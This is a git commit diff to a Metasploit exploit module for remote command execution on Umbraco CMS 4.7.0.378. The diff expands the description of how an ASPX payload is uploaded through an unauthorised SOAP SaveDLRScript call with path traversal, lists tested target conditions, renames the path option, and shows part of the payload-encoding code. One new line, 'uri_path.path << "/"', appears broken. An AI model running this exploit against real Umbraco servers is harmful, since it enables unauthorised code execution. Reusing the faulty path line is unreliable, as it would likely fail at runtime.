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metasploit-framework
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User of TARGETURI plus improve of description

unstable
jvazquez-r7 2012-07-06 15:47:25 +02:00
parent 7751c54a52
commit 9fecc80459
1 changed files with 18 additions and 11 deletions
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29
modules/exploits/windows/http/umbraco_upload_aspx.rb
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@ -17,24 +17,29 @@ class Metasploit3 < Msf::Exploit::Remote
super( super(
'Name' => 'Umbraco CMS Remote Command Execution', 'Name' => 'Umbraco CMS Remote Command Execution',
'Description' => %q{ 'Description' => %q{
This module can be used to execute a payload on Umbraco CMS This module can be used to execute a payload on Umbraco CMS 4.7.0.378.
4.7.0.378. The payload is uploaded as an ASPX script by The payload is uploaded as an ASPX script by sending a specially crafted
sending a specially crafted SOAP request to codeEditorSave.asmx, SOAP request to codeEditorSave.asmx, which permits unauthorised file upload
which permits unauthorised file upload via the SaveDLRScript operation. via the SaveDLRScript operation. SaveDLRScript is also subject to a path
SaveDLRScript is also subject to a path traversal vulnerability, traversal vulnerability, allowing code to be placed into the web-accessible
allowing code to be placed into the web-accessible /umbraco/ directory. /umbraco/ directory.
The module writes, executes and then overwrites an ASPX script; note that The module writes, executes and then overwrites an ASPX script; note that
though the script content is removed, the file remains on the target. though the script content is removed, the file remains on the target. Automatic
cleanup of the file is intended if a meterpreter payload is used.
This module has been tested successfully on Umbraco CMS 4.7.0.378 on a Windows
7 32-bit SP1. In this scenario, the "IIS APPPOOL\ASP.NET v4.0" user must have
write permissions on the Windows Temp folder.
}, },
'Author' => [ 'Author' => [
'Toby Clarke' # Vulnerability discovery and Metasploit module 'Toby Clarke' # Vulnerability discovery and Metasploit module
], ],
'Version' => '$Revision: $',
'Platform' => 'win', 'Platform' => 'win',
'References' => 'References' =>
[ [
[ 'URL', 'http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html' ] [ 'URL', 'http://blog.gdssecurity.com/labs/2012/7/3/find-bugs-faster-with-a-webmatrix-local-reference-instance.html' ],
[ 'URL', 'http://umbraco.codeplex.com/workitem/18192' ] # Item deleted for security reasons
], ],
'Targets' => 'Targets' =>
[ [
@ -47,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
register_options( register_options(
[ [
OptString.new('PATH', [ true, "The URI path of the Umbraco login page", '/umbraco']) OptString.new('TARGETURI', [true, 'The URI path of the Umbraco login page', '/umbraco/'])
], self.class) ], self.class)
end end
@ -94,7 +99,9 @@ class Metasploit3 < Msf::Exploit::Remote
# htmlentities like encoding # htmlentities like encoding
aspx = aspx.gsub("&", "&amp;").gsub("\"", "&quot;").gsub("'", "&#039;").gsub("<", "&lt;").gsub(">", "&gt;") aspx = aspx.gsub("&", "&amp;").gsub("\"", "&quot;").gsub("'", "&#039;").gsub("<", "&lt;").gsub(">", "&gt;")
uri_path = (datastore['PATH'][-1,1] == "/" ? datastore['PATH'] : datastore['PATH'] + "/") uri_path = target_uri.path
uri_path.path << "/" if uri_path[-1, 1] != "/"
@upload_random = rand_text_alpha(rand(6) + 6) @upload_random = rand_text_alpha(rand(6) + 6)
soap = <<-eos soap = <<-eos